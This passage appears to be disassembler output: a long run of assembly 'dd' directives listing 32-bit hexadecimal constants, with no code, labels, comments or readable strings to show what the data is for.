		dd 54348006h, 0A3596705h, 7C629FD2h, 71BC5978h,	98D418E9h
		dd 18427827h, 882255D8h, 0F49C8ADBh, 7A940E95h,	0A280B160h
		dd 4146A356h, 0E05CA06Ch, 5EC45849h, 2623642Fh,	0DABB2802h
		dd 0D6B05477h, 4F76421Eh, 7E660A80h, 721BACF3h,	0B19CACB7h
		dd 0A3C88038h, 0FBB7074Fh, 93A27500h, 0A492AE78h, 82B90C8Ah
		dd 61D89886h, 0F76C121Eh, 1051B0ECh, 5D303F1h, 6E32EE18h
		dd 0A58CB011h, 170298A1h, 34812EB5h, 10830FACh,	435F82Ah
		dd 0AEFF390h, 59F74907h, 8EA2CC85h, 0ACA0999Bh,	2004D518h
		dd 0BF2E92E6h, 54202232h, 12C20CCh, 69A936CBh, 9F132EAh
		dd 4510DCh, 0E7DE825Bh,	90DBD16Fh, 8515BC00h, 913CF6D0h
		dd 43A812BBh, 0F243293h, 0E1B9E0E0h, 0F4F182h, 0C71D74F3h
		dd 782EED19h, 211148B3h, 205C2406h, 0FB2408F0h,	6261D447h
		dd 0EEC8BB30h, 0DAAE1704h, 0C018878Fh, 1D92130Bh, 0A24B5725h
		dd 98E32FCh, 640054F1h,	19DEBFE9h, 0C690037Ch, 283FB472h
		dd 0F0744F8h, 20E4C4A1h, 4A41B8ACh, 9760303Bh, 61401025h
		dd 38EC04A2h, 0CB0F4D76h, 0E33218DCh, 0F0D340E9h, 4FD148B8h
		dd 0EB280907h, 0CD2BD0F9h, 13553E0Ch, 5292DB64h, 831AA4C1h
		dd 57197949h, 99810023h, 8C6F5ECEh, 0D90135B0h,	841185F3h
		dd 0D8ED5C6Eh, 2316A06Dh, 1F84A20Ch, 2325568Bh,	7C4DF308h
		dd 0FC54D5D8h, 3CEC6324h, 98A6EE15h, 0EC009922h, 6F2D4E94h
		dd 1EE3F514h, 0C0705C67h, 7A171B72h, 8A2CC0EFh,	6889B4C6h
		dd 2FE002CAh, 20C0649Ch, 0A225254Dh, 0C4C4C5D9h, 8BEF6028h
		dd 3A550131h, 0D4E4F18Eh, 17C848BDh, 3C382610h,	0CF4AD060h
		dd 0B10052FBh, 3D53EC30h, 72A4A0h, 0CA01052Eh, 59452110h
		dd 6A3B300h, 0B2BB050h,	9CEA00D0h, 0A6325A05h, 3E74D3F7h
		dd 28BD20C7h, 184837D6h, 1843B80Dh, 0CC00E2D7h,	233255D5h
		dd 33ABF48h, 4150F0ABh,	5800D421h, 5E0A3DA6h, 0F59D22Bh
		dd 0CB71ECF1h, 52F8A0C0h, 7230B7B0h, 59062833h,	91AF60BBh
		dd 3C73702Dh, 0B2DB50C0h, 15BFFD8h, 1D3FB732h, 8CE28F96h
		dd 69E30D28h, 601EEA6Dh, 20BBF8A8h, 3A1F034Dh, 5A0D7BA0h
		dd 8CC018B4h, 97A23906h, 0A8C66960h, 2D1C110Dh,	254C3481h
		dd 0CCB208B1h, 73F26021h, 0FF782A0Ah, 0C51C4840h, 16250F20h
		dd 0ED411A13h, 0D3DD11A0h, 43D8B4B8h, 0BC985B51h, 51419D8h
		dd 2008EDB1h, 73D238h, 77FAE283h, 0A09EF1D3h, 75A6168Ch
		dd 503340B5h, 20ED7DE2h, 0D20C6911h, 8622F54h, 6F21C046h
		dd 16863375h, 0C98CB200h, 0DB7A0C4Dh, 0F8A0619Ah, 9FE42C41h
		dd 3C19F779h, 0B8499739h, 0FAA1D2DCh, 0F7621868h, 0CD102158h
		dd 348F4118h, 0ACB259F8h, 318720D0h, 0D0B66F06h, 0CF05993h
		dd 9F60D379h, 2819B7C8h, 0B618502Ch, 0FE279C41h, 0A7B8000h
		dd 7018FF7Fh, 9484EB7h,	6A824C2h, 47003D28h, 7DE42F21h
		dd 0B50073CDh, 9BDBC990h, 2B1D107Ah, 1890A4A6h,	71B60C7Ch
		dd 484490ACh, 33741E6Eh, 79440559h, 47D00486h, 36834453h
		dd 561F6081h, 0B6BD2410h, 0E5BC9D02h, 49381D3Ch, 0DCF9B278h
		dd 66682900h, 0B8C0A8FEh, 0CD9E7A84h, 0DBF430EAh, 6182A620h
		dd 3E5373E0h, 0E0578420h, 0D1569D60h, 9866D730h, 0A4B959ACh
		dd 2B2500B8h, 0D252C2EBh, 8F02EFD5h, 0D92E217Bh, 9774484Ch
		dd 8512037Eh, 0A5C0D4F7h, 6EC03878h, 0BC38B6A3h, 20D0A43Dh
		dd 29E0904Fh, 0A8AB701Bh, 20BAF088h, 50016587h,	23C860B6h
		dd 720C5C31h, 4838B020h, 1E8DB8B2h, 85E253BEh, 455F3D0h
		dd 0D35D3A30h, 28C2F540h, 0E8842CB1h, 0A254B870h, 245E53Ch
		dd 0F7D4A401h, 0E8905808h, 1B41AF64h, 52D6F093h, 76832C50h
		dd 0A6E3E307h, 0E1B58000h, 0BCBB2DF4h, 2B50C3EFh, 88942748h
		dd 0E0417838h, 8C9F0C20h, 110D9D3Dh, 0BE88B92Dh, 0DB56580h
		dd 97F08AFh, 7C0B455h, 419CB027h, 80F20E05h, 74A5E611h
		dd 0CAC6D7Ah, 9485A253h, 21C0EC08h, 0B5749DB3h,	0D6E6044Ch
		dd 81E89908h, 0D8D0FF7Ch, 20F571D8h, 344D7388h,	0B2110694h
		dd 8AB8CE7Ch, 7AA440F4h, 0BEC68853h, 7D871A14h,	32910ACh
		dd 973B4406h, 5CD13162h, 243BDDB4h, 40A49859h, 788EA011h
		dd 11B6AAC1h, 88440CD1h, 33326FF2h, 0A0EE7075h,	80CF90E4h
		dd 0F7BE18A8h, 9ABD2936h, 96D37812h, 20B74042h,	0D51881E9h
		dd 54320CA6h, 5F98091Fh
		dd 0F0EE003Bh, 3DE37432h, 80A4BF4h, 6003542Bh, 224ED3C2h
		dd 3840072Fh, 0C7B0CDE9h, 6147DD39h, 5AF04230h,	1060D411h
		dd 903ADF41h, 0F9482014h, 5FC00D14h, 10FE8FE8h,	7B7482DEh
		dd 0DD31A46Dh, 749EB410h, 0D3B97617h, 0F75C2B1Fh, 980A155h
		dd 2636BD8h, 60107B94h,	8053C79Ch, 0EA4DCB73h, 11B009D8h
		dd 412894FCh, 0E7388467h, 0C4C8EDF1h, 0DB564043h, 3CBBCA2Ch
		dd 22A73201h, 6C3207A5h, 2021BF88h, 0C068ACE7h,	3AAF602Bh
		dd 24E35780h, 8FA4F1F8h, 7FA27645h, 3C484D0Eh, 0E31F1130h
		dd 0C2C1D7A5h, 0C1F3CFF2h, 218063D1h, 7AE30891h, 2C1BFDBCh
		dd 0F1599340h, 94606717h, 46C490B0h, 0DAB029Dh,	31A92D0Ch
		dd 0A36310B9h, 5E6E1C0Dh, 722E0326h, 43E84581h,	9639CF8Fh
		dd 0EAD7848Eh, 0F488D428h, 4BA18D5h, 858010F4h,	9FA41F0Bh
		dd 2474A29Bh, 24070956h, 183118BAh, 710059ECh, 212A4010h
		dd 7B0CF8FCh, 28C7CEDBh, 372B2612h, 594517F4h, 48A17010h
		dd 0D08A768h, 0C4892D10h, 9F6F40BBh, 542F0Dh, 30A06437h
		dd 0EBBC2A0Ah, 1CF54218h, 81532271h, 0B89CE116h, 0C63220B9h
		dd 51AB9710h, 86A35600h, 0BDFB413h, 7DCC280Eh, 45FC90DCh
		dd 7410958Ah, 0E3829CE4h, 3103D7AAh, 0FD8E1068h, 3CF17CE2h
		dd 0A0054612h, 77B704h,	0F6BC7220h, 0AE1876ABh,	0D4080C2Bh
		dd 69CD80DFh, 538EB49h,	0F7A4B078h, 20DD5480h, 669CB927h
		dd 8606C9CBh, 0BD62EB7Bh, 0E93009F8h, 38826F49h, 8C080308h
		dd 0CCCAA08h, 0D396797h, 1B00D4A4h, 0DBD4CB53h,	588F0147h
		dd 0F2101C03h, 0B58601FFh, 0F584C33Fh, 30870C20h, 0C8D1640Eh
		dd 5F00146Fh, 2AED233Eh, 874D4Bh, 0B696C303h, 0AC46A707h
		dd 0B335A906h, 440C49Ch, 0FFA0A57Eh, 0C8688B8Bh, 0A530C0BAh
		dd 0D4012D47h, 0EDC2C719h, 0C980F50Ch, 8B2AC575h, 553A9A68h
		dd 0E8730056h, 0FFD793CAh, 0C3061313h, 0BDB042CFh, 74C108F6h
		dd 0B7482429h, 0D9CF857Ch, 407C89D5h, 2061A3E0h, 0D32E3DC7h
		dd 391AA5EFh, 70108429h, 0F4E30A61h, 448C23D7h,	1009262h
		dd 664CABE3h, 6EF7682Dh, 0F38B58AEh, 38B75820h,	0F4A05DACh
		dd 80E3D36Dh, 132512B1h, 2EA69F1Ah, 9710B440h, 50A047F7h
		dd 8FCA6008h, 52904C02h, 9A39E25h, 0BB5402ECh, 0B2A70050h
		dd 0D34AF5E5h, 0ED7428h, 869087C6h, 0CB3F761Fh,	4F606172h
		dd 0A0E2D738h, 586896CDh, 6D88E922h, 0AE2A25C3h, 6040348Ah
		dd 0FD718F3Dh, 44F7B216h, 20354460h, 447CB01Ch,	21745F84h
		dd 8C125C4Ah, 0F01C4804h, 246DB705h, 0FC2481D0h, 0A7188FDDh
		dd 12887540h, 0DCC8C159h, 3DF0A136h, 220B8517h,	59215EE0h
		dd 31A1AA2Eh, 30343E30h, 2004D4A9h, 6CEAD5B8h, 9898C34Ch
		dd 0A2ED3888h, 73088408h, 0A9E30D60h, 110BD723h, 48D006Ch
		dd 2F55EBE3h, 6A3600F9h, 70649D93h, 81C0B596h, 86EE2DE1h
		dd 0FD090FACh, 0FAAF7703h, 794C2F60h, 0F00D817h, 0A5CCABE6h
		dd 0A041E209h, 5C474878h, 709DE835h, 9779CB19h,	88686049h
		dd 68467E30h, 79126402h, 409011B9h, 0FA042726h,	4E0430AFh
		dd 51C2C0C9h, 74A88100h, 18946D7Dh, 0A0C688EBh,	0FD97400h
		dd 569F15BAh, 2C8105CAh, 22502F48h, 70223460h, 2B9C9097h
		dd 0F32A000Dh, 0E58995C3h, 9D03A876h, 237992B7h, 4348F0C7h
		dd 4348DF61h, 369BD8B6h, 84A5A828h, 36A3E881h, 0DA90250h
		dd 31992D0Ah, 0A16110BFh, 2A4A000Dh, 0D9561826h, 50C2575Fh
		dd 9FAFD08Eh, 826411B0h, 4940F703h, 0BDE83048h,	16F0002Bh
		dd 1984F27h, 0FE00F98Bh, 0B74D9B9Dh, 0A4521BD0h, 28D8F0B8h
		dd 800866ABh, 7859CDC7h, 1B9D3B2h, 551C21F4h, 46BC508Eh
		dd 349884D6h, 1726C44h,	0D964ED2Eh, 579030B0h, 86CF40E8h
		dd 0F83028DEh, 0DF73A139h, 0C3F403A5h, 7957946Eh, 53D0DBC0h
		dd 0A63A2B04h, 0B0809DB4h, 81F18FB3h, 0C5E3F8DCh, 86E81E75h
		dd 0B10964B2h, 87507B20h, 1AC30520h, 901848C2h,	913E7412h
		dd 30A5B50Ch, 72FAAE1Ch, 88345630h, 2CF9AFC7h, 4847CC1h
		dd 0A60D0366h, 0A97BF358h, 78FC673Dh, 0B67F0909h, 1493576Fh
		dd 2621A2BAh, 70849C23h, 440CF903h, 0AA300E02h,	6D238774h
		dd 72DF1184h, 240974F4h, 23054E8h, 253807E0h, 9D748C7Fh
		dd 1295CB07h, 0E9505A85h, 3F1B962Eh, 0FD067017h, 0A1510CE0h
		dd 0E78F1203h, 0E716673h, 7B82EF30h, 39561020h,	0B094369Ch
		dd 0F2FD47D4h, 0D8D17FDh, 94D4F1F8h, 191500E8h,	0A0120B09h
		dd 3BF4F1F9h, 0F7A8CF00h, 266CDC68h, 0BCB20130h, 66D3F3E5h
		dd 18D092A2h, 84C1A094h, 130547A7h, 0F70804C4h,	615C9035h
		dd 1E396F52h, 38970511h, 4928B8Fh, 580B18A0h, 280AA899h
		dd 142490EAh, 2BD4674h,	886F9464h, 10DC8171h, 182120B6h
		dd 0CF22FC32h, 0A3A61613h, 0EC7B388Ch, 79B627A5h, 0F500E896h
		dd 0E25F3372h, 0A27F22h, 0C32B2511h, 4F078E66h,	941F414Ah
		dd 0B525C250h, 145F2C39h, 57679805h, 8B98ECA4h,	42C249C3h
		dd 12FA5CE9h, 0A0A88112h, 41A6B797h, 20420058h,	717A371h
		dd 88620F00h, 0D71CADFAh, 0EB5825EAh, 0A39D2804h, 742F4A38h
		dd 7000BC23h, 99D9CB6Ch, 0C6EA00AAh, 9E072177h,	850F7FFFh
		dd 126717F6h, 782F0088h, 7CC7EEE5h, 0C6E374C4h,	59AC9819h
		dd 53BC6D00h, 7788B472h, 0F5EF0B5Fh, 609831D8h,	0B17CA39h
		dd 413AC63h, 79C37C20h,	90BAFFh, 2DEBBC72h, 0FBAA2AD3h
		dd 0C42430B9h, 0B4E4951Ch, 0BC961C20h, 0CA4C008h, 4889AD98h
		dd 0D3B5D00h, 0DE95AB12h, 0F1150FDBh, 9C1416B7h, 0AFD2310h
		dd 0D83B682Dh, 2FCA094h, 8B9A2136h, 0ECE06005h,	0B0A40B9Fh
		dd 0CCA950D0h, 0EC11881Dh, 0EADCFA80h, 0BB2C108Ah, 69180807h
		dd 4EC30551h, 0B10C0AEEh, 0E3CD8334h, 1958A8DAh, 0D882D208h
		dd 0A71801C8h, 0A5D420F4h, 5EDF6110h, 58C2D504h, 883CA3DEh
		dd 742CACC1h, 0BB00E246h, 9C63C990h, 8A25D3FCh,	0FE5C38B7h
		dd 46CB1F7h, 0A277F2BDh, 62F10154h, 7619A2CBh, 0A4FF8095h
		dd 7C74A781h, 0F467F66Dh, 749FC500h, 181DB1A4h,	19EF0D01h
		dd 8B0AECF8h, 0A0611C48h, 94406411h, 0E6A0A8D6h, 163302AEh
		dd 0E860A763h, 0F1127C52h, 18C87CA6h, 0BE207CB7h, 887C284Ch
		dd 4048280Ch, 0E3146D62h, 8DCCCCBEh, 5C337161h,	8833E0A2h
		dd 9C96EA2Dh, 715281B0h, 0D3413CFFh, 0C9BA31C8h, 9825D573h
		dd 44DC09F6h, 8DCF0064h, 2134F1E0h, 33267953h, 9442B43Bh
		dd 8700AF3h, 0F701B05Fh, 9069F9Ch, 9E9428h, 49A0631Fh
		dd 9D01A9E1h, 0DE4734BBh, 91E999F9h, 60FB6870h,	0DA7871AEh
		dd 41E3579Ch, 623D13A4h, 0D0BB720Ch, 9CE30802h,	51CCE2D7h
		dd 0FF9040E8h, 0E0008CE2h, 187B8FD4h, 51D820BCh, 0C5BB035h
		dd 0B3ACEC7h, 47702002h, 3D201072h, 0D88C0FA6h,	0FD40C075h
		dd 0A2655C8h, 0EF1EBC00h, 3E565907h, 786CE90Dh,	0A95F0E18h
		dd 0CC009FA8h, 89741BFCh, 0F482E0h, 0F14F8777h,	0B68C52C2h
		dd 67603071h, 0E2DBACB8h, 42C9A43h, 1EEB6D86h, 0B61480BBh
		dd 3C989497h, 3C21DED2h, 54723D3Fh, 429B991Fh, 5D0BD157h
		dd 0FA2018D2h, 5EA0B456h, 13004946h, 72C921AEh,	0F34ABAE5h
		dd 63FD880h, 0FC920DBCh, 41A182EBh, 3DB30CE0h, 0AB5A177Ch
		dd 0D341B897h, 4447A9C2h, 72B55912h, 702B1780h,	0C1B8C483h
		dd 3FA4450h, 0D6198885h, 5E1F24DCh, 39B80C94h, 0DA34F7D8h
		dd 80C0A934h, 26EFD53Ah
		dd 4960602Ch, 0A4D8F007h, 57810555h, 3723B881h,	76468410h
		dd 0DD38A362h, 0C0DCEA2Bh, 0C2CC6200h, 0BDEB38D1h, 0C1D0700h
		dd 0E6D8B87Eh, 0DE1288CCh, 4EE704FCh, 0C0FC1120h, 924DD90h
		dd 74A9C2F0h, 0CE8CF484h, 0A1AF00FCh, 0B77C6174h, 0F9A5002Ah
		dd 3ADF408Ah, 0A600E959h, 0F52E107Ah, 2EEBF207h, 119CB51Dh
		dd 0CFE458B4h, 18F4A0DDh, 0C3E052h, 54936448h, 87D5734Ch
		dd 9E59B8B8h, 0DAC87FCh, 0D1A12D12h, 0A4646308h, 2D4260F8h
		dd 418C5301h, 25B937CEh, 111BFC0h, 0BA9D352Bh, 6454C838h
		dd 0B73A4D38h, 0FF8D07A2h, 20ACB22Ch, 3A50216Fh, 15F7AB8Fh
		dd 0E95300ECh, 0F06DD1D0h, 1371005Ah, 0B75540CDh, 22FFE038h
		dd 0D8BD05F4h, 0F4F42FE7h, 41A54FB1h, 0BD2803DCh, 0B6E3EC75h
		dd 3240C349h, 506A2886h, 0F9F11254h, 52E71370h,	34E00A28h
		dd 4FCB6230h, 48858E07h, 40E854A4h, 7C0073D6h, 0ADED2E1Dh
		dd 905F91EFh, 0A17698BCh, 0F4F541BCh, 500AC452h, 0B7FA4060h
		dd 14587226h, 37409E83h, 0A7290005h, 8F902F70h,	845886D5h
		dd 6C9A2824h, 92CDDD02h, 646DB6FFh, 32449898h, 0E060AAF6h
		dd 0C05C6D2Bh, 0A08CBF56h, 852E8A3Dh, 78375749h, 0AC079834h
		dd 2B01883Ch, 942868C5h, 8C4BBCh, 29A40A94h, 267516BFh
		dd 0DD59D0Ah, 0A18380F0h, 0BC61FDBDh, 37F4088Dh, 8BE408h
		dd 0DDF0C7CFh, 116BAA5Fh, 157B8000h, 51E42078h,	811C963Dh
		dd 22E3C3A6h, 0E2B828A3h, 85802058h, 4E0A6CF9h,	0A8AFDCC8h
		dd 0DCC2B58Ah, 3F602D82h, 908C94Dh, 3487B2Ah, 3D8BCAAh
		dd 0C9881530h, 0A2238E2h, 0BCC88C48h, 47038CBCh, 0D9C9606Dh
		dd 40A288B9h, 3E70B923h, 419ECB97h, 702911B4h, 40C721E9h
		dd 782C7964h, 2437732Ch, 4B68B44h, 9FE96BB0h, 0D4B9DA05h
		dd 9C88F880h, 57DB0E0Fh, 540B66Ah, 5D97BD1Dh, 0E9637B07h
		dd 0A43F34C7h, 6005273h, 0DF0990CFh, 87595112h,	889DD40Bh
		dd 9F91B86Dh, 0A9C2878Eh, 473119B6h, 337EF910h,	0C8AF0C0Eh
		dd 8F7F60CEh, 1CF1185h,	0BC200766h, 2A5F9430h, 2AED7C40h
		dd 9123806h, 32CB4823h,	0ADBA7843h, 0EC10FC65h,	0C8452B05h
		dd 2064B171h, 3640C01Ch, 2CEB7E79h, 280F7D3h, 0B4A8A9F2h
		dd 484140CEh, 4675200Fh, 12F00D6h, 0CB2D7AFh, 782095FBh
		dd 0F6A6A7CDh, 9B8D327h, 0BDF4B708h, 85B67100h,	0D118EAD5h
		dd 0ABEF60CFh, 0CCA80A7Bh, 0E6720641h, 8C7143D1h, 8F97718Fh
		dd 0A05C2292h, 100D9E30h, 0E0B12D07h, 10DB666h,	1A5E5D37h
		dd 6CA638E4h, 2064CE24h, 0BCF212F4h, 0ECA45FCBh, 537800D8h
		dd 7FF9F52Ah, 0D3CD023Eh, 6CBED7Ch, 2B0F44E8h, 40A74817h
		dd 0A444045Dh, 0C488D3F7h, 47F43C30h, 0E7C188B0h, 16E6C52Eh
		dd 3761AD09h, 28F4203Fh, 4C090695h, 42BC701Dh, 0A837028Ch
		dd 9ACB7B60h, 0BD0F8C54h, 0E40913E5h, 7148A9CDh, 1F2BD9F8h
		dd 305E2BC8h, 15C93FF7h, 0C6003A18h, 966C8134h,	1ED465B7h
		dd 0C20F1463h, 0DD3CBAD5h, 72034444h, 0F41BF7BCh, 3F401CADh
		dd 696139EBh, 0A9D670h,	585F9C9h, 20B6779Dh, 0DB00C873h
		dd 0AD05659h, 8C4C30B7h, 186A0D8Bh, 1677ED70h, 199BDD3h
		dd 3BDF4184h, 0A7A83090h, 0E0455A4Fh, 0DCF4A62Dh, 4BA2012Eh
		dd 0B2DBC28Ch, 2C6838E0h, 1420A876h, 0D86098A2h, 0B580AA86h
		dd 10EE589Dh, 3058311h,	0E2A9257Ah, 99B3E1F0h, 6FE01984h
		dd 0A2FCE093h, 3E741701h, 40A6CBB8h, 0E0391871h, 78BDA818h
		dd 760635A7h, 60068E33h, 749C19D8h, 47208015h, 30820888h
		dd 0CDF2D3h, 0BC6B8DF9h, 60A4702h, 52ABAEC3h, 0D8F87BB8h
		dd 0F5B040F8h, 3AE57970h, 78B78820h, 0D7C0100Eh, 67437812h
		dd 9EEB7782h, 8C0530E8h, 50A2CE30h, 5222106Fh, 17A48A6h
		dd 0B8745E8Eh, 0CDC305FAh, 0D0620EBCh, 2E144FF7h, 5BB8DFCh
		dd 3D0625D2h, 4838ED20h, 0A5137988h, 8C1D7333h,	0D0A0546Ah
		dd 68122A7Fh, 3004AF03h, 40E93411h, 5CB1EF04h, 8C281EAEh
		dd 10BBAC78h, 0C4259C1Fh, 0A3388858h, 22AF4C76h, 5C0BFF27h
		dd 0FCB7AC04h, 74FC4644h, 0FE3F1704h, 6304BDB3h, 32AF3C35h
		dd 8FB0F48Ch, 83142846h, 8F602B5Dh, 8250B5F4h, 98A2EB7Bh
		dd 0C794E27Ch, 4D60A791h, 0DB0C1841h, 0B0593C4Eh, 0EA9B10h
		dd 0CCE4B337h, 8586A0C0h, 556331Ah, 28BC84ECh, 0A55CF058h
		dd 0C16EC8C2h, 0DE1C5E5Ah, 6E361B00h, 6B78388Ah, 2FFF4BE4h
		dd 0BD2338h, 170CA56Fh,	7B16F21Eh, 0C84232D3h, 0C4C0A714h
		dd 0BAD73650h, 8227D8A8h, 50E4E86Dh, 48220BACh,	64445963h
		dd 136D9D44h, 24C852C3h, 825C84CCh, 0F84105CCh,	86899360h
		dd 0A1963006h, 0C0977D28h, 6787C019h, 731ED230h, 0B4C06140h
		dd 5B121CCDh, 0EF5F00FBh, 0D92F6FB8h, 3A4A53F6h, 0BCB34004h
		dd 0F73B2C41h, 40406CB9h, 0F5970A8h, 0E2D50604h, 1D0E5B8h
		dd 3EC69085h, 6325C207h, 3046A24Ch, 0C800430Bh,	98530A02h
		dd 4E4010C2h, 0D384929h, 0AC008052h, 93177123h,	7899EB9Eh
		dd 0AFD200CBh, 510C76F8h, 0BD7FB1DEh, 67409001h, 371455EFh
		dd 0CD0A1473h, 8028A173h, 442BCC6Ch, 0F9384DC8h, 91FF8063h
		dd 0BDF6CE2Ah, 6D7D0B3Ah, 24028E2Ch, 0FC51A59Ch, 0D6E6F00h
		dd 3D4CD534h, 850101B1h, 313BFA58h, 0BA86894h, 83ACCDA5h
		dd 54CD484h, 3D15739h, 2424913Bh, 0CEF703AFh, 5E7E0E21h
		dd 0B438695h, 0DAB0C38Bh, 11FDF768h, 0D4392A41h, 75C93C7Bh
		dd 3C34B901h, 94B473EFh, 0C780951h, 3004DE2Eh, 10C304A2h
		dd 5A92A74h, 8C200E71h,	2C092EABh, 897C439Ch, 58A9E7CDh
		dd 42EE8003h, 826D1821h, 0D46530Bh, 372F6CE0h, 6CE32Dh
		dd 0EB6D85CCh, 0A0544C2Eh, 0B2CA68Ah, 88AEFAE3h, 0C7840016h
		dd 0F8B01B68h, 8F5CA097h, 0FEDAADC5h, 0DB7A0835h, 1103A1D2h
		dd 4430782h, 293D50B1h,	924CA0ACh, 1952D735h, 0CA908800h
		dd 5FA58133h, 0E8E840C7h, 0F7A31FA1h, 0A8CF30C7h, 83734B10h
		dd 0C66F3920h, 0D8D024h, 0A90D0C2Fh, 1900A663h,	9E8DACCFh
		dd 7211019Bh, 54B213FBh, 1028F3F8h, 99E7782h, 0C78E1B5h
		dd 5D6FC20h, 92E37A9Dh,	0D2B8D8C4h, 4BB1AA46h, 0E3DD0934h
		dd 0E442CF08h, 2E2038E4h, 884FE046h, 23006A44h,	4F588E47h
		dd 0BE974E52h, 13BA8088h, 7B23CDCAh, 545BB109h,	845A0Eh
		dd 0B881201Ch, 5E729A51h, 18B62839h, 0ACE85880h, 0CEF0DD5h
		dd 49304FCBh, 683AEC68h, 0E44A515Eh, 7E0406h, 73921DF3h
		dd 799C121Fh, 0ADC61900h, 8317117Ah, 0C0E507Bh,	7CB63BA6h
		dd 730D85BEh, 0F008C65Bh, 841DE682h, 72008117h,	799A8A20h
		dd 988D0028h, 97834F71h, 13071274h, 0C62084E5h,	24C561DCh
		dd 3C3C1D79h, 93C8240Fh, 0E6871A0Eh, 9885F0A4h,	1D004F75h
		dd 0AC598396h, 0A3B56F9h, 5030E6C6h, 96CE0604h,	827C607Eh
		dd 0A471F501h, 0E6635C9Ch, 7819D1BEh, 0D0818016h, 0A0DB9288h
		dd 2AA1A618h, 0F082680h, 841F779Ah, 0B51D6F87h,	80381BCDh
		dd 12A28809h, 20650314h, 6B880088h, 357DD1C6h, 7800B3A9h
		dd 979B8312h, 0CE6C5F9h, 92C1504Bh, 8E006340h, 0B78B1473h
		dd 3C603A3h, 825330C9h,	0D0875BFCh, 67F66D96h, 8F59E1CEh
		dd 0A0787833h, 9217041Dh, 32720299h, 88B10074h,	0BC1F1216h
		dd 83234F9Ah, 23777E61h, 4FA4A190h, 7604288Eh, 3C38D1CCh
		dd 0D809D4D4h, 0BCE44E6Bh, 0B05C820h, 0DA477029h, 6324B859h
		dd 78A0412Dh, 1FD0DC74h
		dd 0F0BC30B0h, 0D7D37918h, 14885F5Bh, 156144BEh, 849098BAh
		dd 60243E51h, 58225C88h, 556F2E5Bh, 0BF4D42D0h,	90766CE1h
		dd 0A593E158h, 17609428h, 0D0B00C50h, 160789CBh, 0F2CC0EE3h
		dd 64422DECh, 0D6BEFCFCh, 60E02659h, 28484122h,	127C40A7h
		dd 0D084C209h, 61B870C8h, 3B5188A6h, 8C592F2Ch,	0D1A55160h
		dd 59666406h, 9430B113h, 0E194D410h, 110B6912h,	0E5A8BAE8h
		dd 0AC331187h, 5B1087E7h, 0E80C18A9h, 530D01EDh, 73735034h
		dd 78AD6BCBh, 0E320E878h, 7CD890AFh, 28F48ABCh,	698030C1h
		dd 0A70E8500h, 97098CB6h, 297CA2B6h, 0C8EC6260h, 0C051FDCCh
		dd 20E36F28h, 3012B745h, 0ECF43190h, 40CF5412h,	0CAD588A3h
		dd 2381807Dh, 0ABC9CC8h, 0DDD36DA2h, 38BD8AACh,	0FF0D8B24h
		dd 24854489h, 2B9847DFh, 8878D968h, 7174CD17h, 3320A081h
		dd 0EB85B057h, 0E2B54000h, 4834D59Ch, 44D1042Dh, 0E544AC88h
		dd 0B3A1DC54h, 0C18454A8h, 1037079Ch, 0AA8D2241h, 754882BCh
		dd 46D0235Fh, 0E5189164h, 0ED192E32h, 45863E0Ch, 591C42DDh
		dd 48260131h, 0FBC1EA08h, 5B205C28h, 73CD3EB0h,	0A909C12h
		dd 412037A4h, 2255D0D8h, 2C9C503Ch, 4F8407F1h, 7BC534A8h
		dd 0FEC48C0Fh, 0CD364900h, 4586F3E5h, 0D590015Ch, 0D6F77B7Ch
		dd 0DC206E34h, 30EDCF2Ch, 0B738AB4Ah, 9CB2566Eh, 64D0F74Bh
		dd 25F948h, 7CB2E5Dh, 0B25269C5h, 0A1BC7203h, 737F8CCh
		dd 0BFAC4D29h, 91F49067h, 0A93917CAh, 253B7E0Bh, 0EBC08545h
		dd 2CA9F79Ch, 1A92A300h, 74A21956h, 83B85C0Eh, 0ADAB0285h
		dd 0FD38406Bh, 8B100173h, 40956C14h, 437E22h, 0BADCDF7h
		dd 0B6851049h, 69944200h, 98D2C153h, 0DC90E012h, 48287B80h
		dd 7800C96h, 753C17D1h,	61EEE404h, 0FEBC9F36h, 32F97300h
		dd 0AF09749Eh, 7306403Ah, 6F2125h, 0E14A44A0h, 667E07DDh
		dd 0B0E59701h, 2559F40h, 0AF5BA200h, 0E7B6617Dh, 0D304002Dh
		dd 9F3AE5D8h, 0BD00E880h, 36471CD2h, 185CC3A9h,	489E6FA8h
		dd 0EC41D1D8h, 0C08C6CECh, 32B3EACCh, 33001EB6h, 0E57CC2A9h
		dd 30F44E87h, 4020576Eh, 75E0EB1Bh, 8420E753h, 3D6020E5h
		dd 230047A7h, 0DCBD1604h, 19BE4E37h, 9949E8D2h,	0D3A0F141h
		dd 8078D83Dh, 593E2B6h,	0F89F3E07h, 99BF000Ah, 0F0B4DC4Eh
		dd 0EE15E985h, 1684CF97h, 0B400F7A3h, 0AB9BF55Ch, 9CA53A44h
		dd 8D21E030h, 510004FFh, 89F6BD3Eh, 0F83C210Ah,	8A6B18D2h
		dd 0A35778ADh, 0E35F81C0h, 0EEDBC7h, 278841A9h,	0D1DAB94Fh
		dd 1E69F0Ch, 0E8852990h, 0AB5730F9h, 0EE62BF11h, 5836E801h
		dd 901E3D45h, 21B80898h, 0EE30AA68h, 442908D1h,	3F20E321h
		dd 0DBD907A1h, 0B156D5DAh, 0C02B252Eh, 39C0BB58h, 20C80907h
		dd 0D3CF0178h, 553C422Dh, 82A3F4E3h, 83592500h,	6298B596h
		dd 9FD605BEh, 13D81AAh,	70A0B09Ch, 3AC76F0Eh, 6BBFE570h
		dd 0C0A8E8AFh, 0E787921h, 1F00C2BAh, 90DBFD6Fh,	8040E9C9h
		dd 0CA6FB70Ch, 25660189h, 1180A257h, 91757C55h,	1F03E2EBh
		dd 0AD7D5859h, 85CCB981h, 30FF9052h, 0E611EEACh, 0B288A836h
		dd 0EE945E80h, 9D7262h,	31438A4Ah, 79811557h, 256A6600h
		dd 7D4006FDh, 0A1EC63FBh, 75B0E690h, 0CB1FED68h, 8F12FCFh
		dd 20874136h, 0D0ECEE6Eh, 0D594D354h, 0A1034C01h, 0B658274Ah
		dd 92EF7980h, 0CFBA7EB5h, 89F39800h, 591A8844h,	0B9051461h
		dd 3C9480AAh, 0F801EF23h, 0FD5C8704h, 0A0A9B618h, 9405C084h
		dd 86DB1E00h, 0B7D42B70h, 804A29A0h, 925180A4h,	0C59BF1BFh
		dd 47960B1Dh, 2C9C8F01h, 0E842EC10h, 0E873093h,	6BB6F808h
		dd 40AC64AFh, 4B0E6F80h, 9CE612DBh, 985C00B1h, 0D2DF3D1Dh
		dd 60026C24h, 453D38A8h, 6689879Eh, 0D8F2B321h,	71C8435Dh
